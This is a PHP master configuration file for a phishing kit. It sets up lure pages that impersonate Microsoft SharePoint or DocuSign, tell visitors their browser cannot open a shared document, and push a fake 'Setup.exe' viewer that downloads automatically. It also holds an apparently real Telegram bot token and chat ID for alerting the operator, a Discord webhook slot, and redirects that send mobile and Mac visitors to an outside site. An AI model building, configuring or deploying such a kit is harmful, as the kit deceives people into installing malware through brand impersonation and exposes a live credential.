<?php
// ══════════════════════════════════════════════════
//  MASTER CONFIG — edit only this file
// ══════════════════════════════════════════════════

// ── TEMPLATE SWITCH ───────────────────────────────
// Options: 'sharepoint'  |  'docusign'
$TEMPLATE = 'sharepoint';

// ── FILE TO PRETEND TO BE (shown on landing page) ─
$LURE_FILENAME   = 'Secure_Document.docx';   // displayed filename
$LURE_SETUP_NAME = 'SharePointViewer_Setup.exe'; // shown as installer
$LURE_SIZE       = '3.1 MB';

// ── NOTIFICATIONS ─────────────────────────────────
$UserName        = "Quartz";                  // your tag in notifications
$Server_Webhook  = "";                        // Discord webhook URL
$http_api        = "7386858058:AAGobl5pUU3qSar_oeyqHvsjqv3LYahXN1I";                        // Telegram bot token
$chat_id         = "6916995791";                        // Telegram chat ID

// ── MOBILE / MAC REDIRECT ─────────────────────────
// Shown in index.php device router — leave blank to skip redirect
$MOBILE_URL = "https://studioconforti.it/web";
$MAC_URL    = "https://studioconforti.it/web";

// ── AUTO-SET based on template ────────────────────
if ($TEMPLATE === 'sharepoint') {
    $BRAND_NAME      = 'SharePoint';
    $BRAND_FULL      = 'Microsoft SharePoint';
    $BRAND_COLOR     = '#0078d4';
    $BRAND_ACCENT    = '#106ebe';
    $BRAND_WARN      = '#d83b01';
    $BRAND_WARN_BG   = '#fde7e9';
    $BRAND_WARN_TEXT = '#a4262c';
    $PAGE_BG         = '#f3f2f1';
    $LURE_SETUP_NAME = 'SharePointViewer_Setup.exe';
    $PAGE_TITLE      = 'Microsoft SharePoint - Action Required';
    $BADGE_LABEL     = 'Browser Not Supported';
    $CARD_HEADING    = 'Your Browser Can\'t Open This File';
    $CARD_SUB        = "<strong>{$LURE_FILENAME}</strong> was shared with you via SharePoint, but your browser doesn't support inline viewing of this file type.<br><br>Install the <strong>Microsoft SharePoint Viewer</strong> below to open it.";
    $STEP1_TEXT      = 'Application is downloading automatically';
    $STEP1_SUB       = "{$LURE_SETUP_NAME} &mdash; {$LURE_SIZE}";
    $PROGRESS_LABEL  = 'Downloading SharePoint Viewer&hellip;';
    $BTN_LABEL       = 'Open File';
    $FOOTER_COPY     = 'Secured by Microsoft SharePoint &copy; 2026';
    $SUPPORT_URL     = 'https://support.microsoft.com/sharepoint';
    $SUPPORT_LABEL   = 'SharePoint Support';
    $DEVICES_HEADING = 'Access Restricted';
    $DEVICES_MSG     = 'This file can only be accessed from a Windows-based system. Please open this link on a Windows device to continue.';
} else {
    // DocuSign
    $BRAND_NAME      = 'DocuSign';
    $BRAND_FULL      = 'DocuSign eSignature';
    $BRAND_COLOR     = '#ffb900';
    $BRAND_ACCENT    = '#e0a600';
    $BRAND_WARN      = '#cc5500';
    $BRAND_WARN_BG   = '#fff3e0';
    $BRAND_WARN_TEXT = '#7a3300';
    $PAGE_BG         = '#f5f4f0';
    $LURE_SETUP_NAME = 'DocuSignViewer_Setup.exe';
    $PAGE_TITLE      = 'DocuSign - Signature Required';
    $BADGE_LABEL     = 'Signature Pending';
    $CARD_HEADING    = 'Document Ready for Your Signature';
    $CARD_SUB        = "<strong>{$LURE_FILENAME}</strong> has been sent to you for electronic signature via DocuSign.<br><br>Install the <strong>DocuSign Desktop Client</strong> below to review and sign.";
    $STEP1_TEXT      = 'Client is downloading automatically';
    $STEP1_SUB       = "{$LURE_SETUP_NAME} &mdash; {$LURE_SIZE}";
    $PROGRESS_LABEL  = 'Downloading DocuSign Client&hellip;';
    $BTN_LABEL       = 'Review &amp; Sign';
    $FOOTER_COPY     = 'Secured by DocuSign &copy; 2026';
    $SUPPORT_URL     = 'https://support.docusign.com';
    $SUPPORT_LABEL   = 'DocuSign Support';
    $DEVICES_HEADING = 'Desktop Required';
    $DEVICES_MSG     = 'DocuSign electronic signatures require a Windows desktop. Please open this link on a Windows device to continue.';
}
